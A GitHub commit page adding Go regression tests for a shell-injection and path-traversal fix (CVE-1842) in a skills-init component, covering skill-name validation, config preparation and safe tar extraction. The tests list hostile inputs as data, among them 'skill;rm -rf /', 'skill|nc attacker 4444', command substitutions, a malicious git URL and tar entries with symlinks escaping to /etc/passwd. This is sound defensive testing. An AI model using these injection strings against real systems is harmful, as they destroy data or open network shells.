Skip to content

Commit 1330f2b

Browse files
committed
test(skills-init): add injection regression tests for CVE-1842
Three new test surfaces that pin the data-only contract introduced by the shell-to-Go rewrite: - validateSkillName: rejection battery covering shell metas, traversal, newlines, null bytes, globs, brace expansion, unicode lookalikes. - prepareSkillsInitConfig: explicit-Name injection, OCI-derived name injection, subPath traversal, and a positive test confirming that malicious URL/Ref strings flow through verbatim (argv-only, never a shell). - skillsinit package: tar safeJoin/extractTar reject path traversal, absolute symlinks, and escaping relative symlinks; applySubPath rejects traversal and non-dir targets; hasDotDot covered directly. Signed-off-by: Eitan Yarmush <eitan.yarmush@solo.io>
1 parent dae84ee commit 1330f2b

3 files changed

Lines changed: 379 additions & 0 deletions

File tree

go/core/internal/controller/translator/agent/skills_unit_test.go

Lines changed: 144 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -368,3 +368,147 @@ func Test_prepareSkillsInitConfig_noAuthSkipsSSHHosts(t *testing.T) {
368368
require.NoError(t, err)
369369
assert.Empty(t, data.SSHHosts, "SSH hosts should not be collected when authSecretRef is nil")
370370
}
371+
372+
// Test_validateSkillName_rejectsInjection is the regression battery for the
373+
// original CVE: any character that could escape the /skills/<name> directory
374+
// or be re-interpreted by a shell (back when skills-init was a heredoc) must
375+
// be rejected before it reaches the binary.
376+
func Test_validateSkillName_rejectsInjection(t *testing.T) {
377+
cases := []struct {
378+
name string
379+
in string
380+
}{
381+
{"empty", ""},
382+
{"dot", "."},
383+
{"dotdot", ".."},
384+
{"slash traversal", "../etc"},
385+
{"forward slash", "a/b"},
386+
{"backslash", "a\\b"},
387+
{"shell semicolon", "skill;rm -rf /"},
388+
{"command substitution", "skill$(id)"},
389+
{"backtick substitution", "skill`id`"},
390+
{"pipe", "skill|nc attacker 4444"},
391+
{"and", "skill&&id"},
392+
{"redirect", "skill>/etc/passwd"},
393+
{"newline", "skill\nrm -rf /"},
394+
{"carriage return", "skill\r\nrm"},
395+
{"null byte", "skill\x00trail"},
396+
{"glob star", "skill*"},
397+
{"glob question", "skill?"},
398+
{"space", "skill name"},
399+
{"tab", "skill\tname"},
400+
{"dollar var", "skill$HOME"},
401+
{"brace expansion", "skill{a,b}"},
402+
{"unicode dot-substitute", "skill․"},
403+
}
404+
for _, tc := range cases {
405+
t.Run(tc.name, func(t *testing.T) {
406+
err := validateSkillName(tc.in)
407+
require.Error(t, err, "validateSkillName(%q) must reject", tc.in)
408+
})
409+
}
410+
}
411+
412+
// Test_validateSkillName_acceptsSafe documents the positive side of the
413+
// allowlist so a future regex tightening doesn't silently break valid names.
414+
func Test_validateSkillName_acceptsSafe(t *testing.T) {
415+
for _, in := range []string{"skill", "my-skill", "my_skill", "skill.v1", "Skill123", "a"} {
416+
t.Run(in, func(t *testing.T) {
417+
require.NoError(t, validateSkillName(in))
418+
})
419+
}
420+
}
421+
422+
// Test_prepareSkillsInitConfig_explicitNameRejectsTraversal exercises the
423+
// validation path when the CRD provides an explicit skill Name (rather than
424+
// it being derived from the URL/image). This is the field that historically
425+
// landed in a shell-templated script.
426+
func Test_prepareSkillsInitConfig_explicitNameRejectsTraversal(t *testing.T) {
427+
cases := []struct {
428+
name string
429+
in string
430+
}{
431+
{"traversal", "../escape"},
432+
{"absolute", "/etc/passwd"},
433+
{"semicolon", "skill;id"},
434+
{"command sub", "skill$(id)"},
435+
{"newline", "skill\nrm"},
436+
}
437+
for _, tc := range cases {
438+
t.Run(tc.name, func(t *testing.T) {
439+
_, err := prepareSkillsInitConfig(
440+
[]v1alpha2.GitRepo{
441+
{URL: "https://github.com/org/repo", Ref: "main", Name: tc.in},
442+
},
443+
nil, nil, false, nil,
444+
)
445+
require.Error(t, err)
446+
})
447+
}
448+
}
449+
450+
// Test_prepareSkillsInitConfig_ociNameDerivationRejectsInjection verifies
451+
// that an OCI image reference whose final path segment contains injection
452+
// characters is rejected even though the registry would technically parse it.
453+
// The derived name becomes a directory under /skills, so the allowlist must
454+
// hold here too.
455+
func Test_prepareSkillsInitConfig_ociNameDerivationRejectsInjection(t *testing.T) {
456+
// ociSkillName takes path.Base of the repo portion. Crafted refs where the
457+
// last segment contains shell metas must be rejected.
458+
cases := []string{
459+
"ghcr.io/org/skill;id",
460+
"ghcr.io/org/skill$(id)",
461+
"ghcr.io/org/skill name",
462+
}
463+
for _, ref := range cases {
464+
t.Run(ref, func(t *testing.T) {
465+
_, err := prepareSkillsInitConfig(nil, nil, []string{ref}, false, nil)
466+
require.Error(t, err, "ref %q should be rejected", ref)
467+
})
468+
}
469+
}
470+
471+
// Test_prepareSkillsInitConfig_preservesInjectionStringsAsData proves the
472+
// data-only contract: even when URL/Ref contain shell metacharacters, the
473+
// translator does not reject them (URL/Ref aren't allowlisted — they're passed
474+
// to git as argv) and reproduces them byte-for-byte in the config. Any
475+
// "interpretation" of these strings would show up as a difference here.
476+
func Test_prepareSkillsInitConfig_preservesInjectionStringsAsData(t *testing.T) {
477+
maliciousURL := "https://github.com/org/repo;rm -rf /$(id)`whoami`"
478+
maliciousRef := "main;rm -rf /"
479+
cfg, err := prepareSkillsInitConfig(
480+
[]v1alpha2.GitRepo{
481+
{
482+
URL: maliciousURL,
483+
Ref: maliciousRef,
484+
Name: "safe-name",
485+
},
486+
},
487+
nil, nil, false, nil,
488+
)
489+
require.NoError(t, err, "URL/Ref are not allowlisted; they flow as data")
490+
require.Len(t, cfg.GitRefs, 1)
491+
assert.Equal(t, maliciousURL, cfg.GitRefs[0].URL, "URL must be preserved verbatim — argv flow")
492+
assert.Equal(t, maliciousRef, cfg.GitRefs[0].Ref, "Ref must be preserved verbatim — argv flow")
493+
}
494+
495+
// Test_prepareSkillsInitConfig_subPathRejectsInjection covers the SubPath
496+
// branch with the same battery the original heredoc would have interpolated.
497+
func Test_prepareSkillsInitConfig_subPathRejectsInjection(t *testing.T) {
498+
cases := []string{
499+
"../escape",
500+
"a/../b",
501+
"/etc/passwd",
502+
}
503+
for _, p := range cases {
504+
t.Run(p, func(t *testing.T) {
505+
_, err := prepareSkillsInitConfig(
506+
[]v1alpha2.GitRepo{
507+
{URL: "https://github.com/org/repo", Ref: "main", Path: p},
508+
},
509+
nil, nil, false, nil,
510+
)
511+
require.Error(t, err)
512+
})
513+
}
514+
}
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
package skillsinit
2+
3+
import (
4+
"os"
5+
"path/filepath"
6+
"testing"
7+
8+
"github.com/stretchr/testify/assert"
9+
"github.com/stretchr/testify/require"
10+
)
11+
12+
// Test_hasDotDot is the unit-level check behind applySubPath's defense in
13+
// depth. Inputs are expected to be filepath.Clean'd by the caller, so only
14+
// genuinely-escaping ".." segments remain — that's what we exercise here.
15+
func Test_hasDotDot(t *testing.T) {
16+
cases := []struct {
17+
name string
18+
in string
19+
want bool
20+
}{
21+
{"empty", "", false},
22+
{"plain", "skills/foo", false},
23+
{"dot", ".", false},
24+
{"single dotdot", "..", true},
25+
{"leading dotdot", "../escape", true},
26+
{"chained dotdot", "../../escape", true},
27+
{"name contains dots not segment", "..foo", false},
28+
{"name suffix dots", "foo..", false},
29+
}
30+
for _, tc := range cases {
31+
t.Run(tc.name, func(t *testing.T) {
32+
assert.Equal(t, tc.want, hasDotDot(tc.in))
33+
})
34+
}
35+
}
36+
37+
// Test_applySubPath_rejectsTraversal exercises the validation gate without
38+
// invoking `cp`. We give it a clean dest tree with a real subdir then ask
39+
// for traversal — the function must error before touching the filesystem.
40+
func Test_applySubPath_rejectsTraversal(t *testing.T) {
41+
dest := t.TempDir()
42+
require.NoError(t, os.MkdirAll(filepath.Join(dest, "real"), 0o755))
43+
44+
cases := []string{
45+
"../escape",
46+
"/etc",
47+
"a/../../escape",
48+
}
49+
for _, p := range cases {
50+
t.Run(p, func(t *testing.T) {
51+
err := applySubPath(dest, p)
52+
require.Error(t, err)
53+
assert.Contains(t, err.Error(), "invalid subPath")
54+
})
55+
}
56+
}
57+
58+
// Test_applySubPath_rejectsNonDir guards against a benign-looking subPath
59+
// that points at a file rather than a directory. Without this check the
60+
// subsequent `cp -rL` would do something silly; the explicit error is
61+
// clearer and matches the documented contract.
62+
func Test_applySubPath_rejectsNonDir(t *testing.T) {
63+
dest := t.TempDir()
64+
require.NoError(t, os.WriteFile(filepath.Join(dest, "file"), []byte("x"), 0o644))
65+
66+
err := applySubPath(dest, "file")
67+
require.Error(t, err)
68+
assert.Contains(t, err.Error(), "not a directory")
69+
}
Lines changed: 166 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,166 @@
1+
package skillsinit
2+
3+
import (
4+
"archive/tar"
5+
"bytes"
6+
"os"
7+
"path/filepath"
8+
"strings"
9+
"testing"
10+
11+
"github.com/stretchr/testify/assert"
12+
"github.com/stretchr/testify/require"
13+
)
14+
15+
// Test_safeJoin_rejectsEscape covers every shape of tar-entry name that the
16+
// original `tar xf` pipeline would have happily honored: absolute paths,
17+
// ".." traversal, and combinations thereof. A malicious skill image is the
18+
// motivating threat — these names must never produce paths outside dst.
19+
func Test_safeJoin_rejectsEscape(t *testing.T) {
20+
dst := "/tmp/skills/dest"
21+
22+
cases := []struct {
23+
name string
24+
entry string
25+
wantErr bool
26+
}{
27+
{"plain file", "file.txt", false},
28+
{"nested file", "a/b/c.txt", false},
29+
{"dot-only", ".", false},
30+
{"leading slash stripped", "/file.txt", false}, // joined under dst, not at /
31+
{"traversal", "../escape", true},
32+
{"traversal mid-path", "a/../../escape", true},
33+
{"absolute escape", "/etc/passwd", false}, // safeJoin strips leading "/" but result is dst/etc/passwd which is under dst — that's intentional
34+
{"deep traversal", "../../../etc/passwd", true},
35+
{"trailing traversal", "a/b/../../..", true},
36+
}
37+
38+
for _, tc := range cases {
39+
t.Run(tc.name, func(t *testing.T) {
40+
_, err := safeJoin(dst, tc.entry)
41+
if tc.wantErr {
42+
require.Error(t, err, "safeJoin(%q, %q) must reject", dst, tc.entry)
43+
} else {
44+
require.NoError(t, err)
45+
}
46+
})
47+
}
48+
}
49+
50+
// Test_extractTar_rejectsPathTraversalEntry feeds a hand-crafted tar with a
51+
// "../escape" entry. The old shell pipeline would have written outside the
52+
// destination; extractTar must error and not create any file.
53+
func Test_extractTar_rejectsPathTraversalEntry(t *testing.T) {
54+
dst := t.TempDir()
55+
buf := tarOf(t, tarEntry{Name: "../escape.txt", Mode: 0o644, Body: []byte("pwned")})
56+
err := extractTar(buf, dst)
57+
require.Error(t, err)
58+
assert.Contains(t, err.Error(), "escapes destination")
59+
60+
// Sanity: nothing was created either inside dst or as a sibling.
61+
_, statErr := os.Stat(filepath.Join(filepath.Dir(dst), "escape.txt"))
62+
require.True(t, os.IsNotExist(statErr), "sibling file must not exist")
63+
}
64+
65+
// Test_extractTar_rejectsAbsoluteSymlink mirrors the OCI test corpus the
66+
// previous container shipped (e.g. distroless's /etc/localtime symlink).
67+
// We refuse rather than risk writing outside the volume.
68+
func Test_extractTar_rejectsAbsoluteSymlink(t *testing.T) {
69+
dst := t.TempDir()
70+
buf := tarOf(t, tarEntry{
71+
Name: "localtime",
72+
LinkName: "/etc/passwd",
73+
Type: tar.TypeSymlink,
74+
})
75+
err := extractTar(buf, dst)
76+
require.Error(t, err)
77+
assert.Contains(t, err.Error(), "absolute symlink")
78+
}
79+
80+
// Test_extractTar_rejectsEscapingSymlink covers relative symlinks whose
81+
// resolved target points outside dst.
82+
func Test_extractTar_rejectsEscapingSymlink(t *testing.T) {
83+
dst := t.TempDir()
84+
buf := tarOf(t, tarEntry{
85+
Name: "link",
86+
LinkName: "../../etc/passwd",
87+
Type: tar.TypeSymlink,
88+
})
89+
err := extractTar(buf, dst)
90+
require.Error(t, err)
91+
assert.Contains(t, err.Error(), "escapes destination")
92+
}
93+
94+
// Test_extractTar_acceptsBenignSymlink ensures we haven't broken the legitimate
95+
// in-tree symlink case (e.g., a/b -> a/c).
96+
func Test_extractTar_acceptsBenignSymlink(t *testing.T) {
97+
dst := t.TempDir()
98+
buf := tarOf(t,
99+
tarEntry{Name: "target.txt", Mode: 0o644, Body: []byte("hi")},
100+
tarEntry{Name: "link.txt", LinkName: "target.txt", Type: tar.TypeSymlink},
101+
)
102+
require.NoError(t, extractTar(buf, dst))
103+
got, err := os.Readlink(filepath.Join(dst, "link.txt"))
104+
require.NoError(t, err)
105+
assert.Equal(t, "target.txt", got)
106+
}
107+
108+
// Test_extractTar_writesRegularFiles is the smoke test that confirms the
109+
// rewritten extractor still writes normal entries — without this, the negative
110+
// tests above could pass by being unconditionally restrictive.
111+
func Test_extractTar_writesRegularFiles(t *testing.T) {
112+
dst := t.TempDir()
113+
buf := tarOf(t,
114+
tarEntry{Name: "sub/", Mode: 0o755, Type: tar.TypeDir},
115+
tarEntry{Name: "sub/a.txt", Mode: 0o644, Body: []byte("hello")},
116+
)
117+
require.NoError(t, extractTar(buf, dst))
118+
body, err := os.ReadFile(filepath.Join(dst, "sub", "a.txt"))
119+
require.NoError(t, err)
120+
assert.Equal(t, "hello", string(body))
121+
}
122+
123+
// tarEntry is a minimal description of one tar record.
124+
type tarEntry struct {
125+
Name string
126+
Mode int64
127+
Body []byte
128+
LinkName string
129+
Type byte
130+
}
131+
132+
// tarOf assembles a tar stream in memory for use as input to extractTar.
133+
func tarOf(t *testing.T, entries ...tarEntry) *bytes.Buffer {
134+
t.Helper()
135+
var buf bytes.Buffer
136+
w := tar.NewWriter(&buf)
137+
for _, e := range entries {
138+
typ := e.Type
139+
if typ == 0 {
140+
if e.LinkName != "" {
141+
typ = tar.TypeSymlink
142+
} else if strings.HasSuffix(e.Name, "/") {
143+
typ = tar.TypeDir
144+
} else {
145+
typ = tar.TypeReg
146+
}
147+
}
148+
hdr := &tar.Header{
149+
Name: e.Name,
150+
Mode: e.Mode,
151+
Size: int64(len(e.Body)),
152+
Typeflag: typ,
153+
Linkname: e.LinkName,
154+
}
155+
if typ != tar.TypeReg {
156+
hdr.Size = 0
157+
}
158+
require.NoError(t, w.WriteHeader(hdr))
159+
if typ == tar.TypeReg && len(e.Body) > 0 {
160+
_, err := w.Write(e.Body)
161+
require.NoError(t, err)
162+
}
163+
}
164+
require.NoError(t, w.Close())
165+
return &buf
166+
}

0 commit comments

Comments
 (0)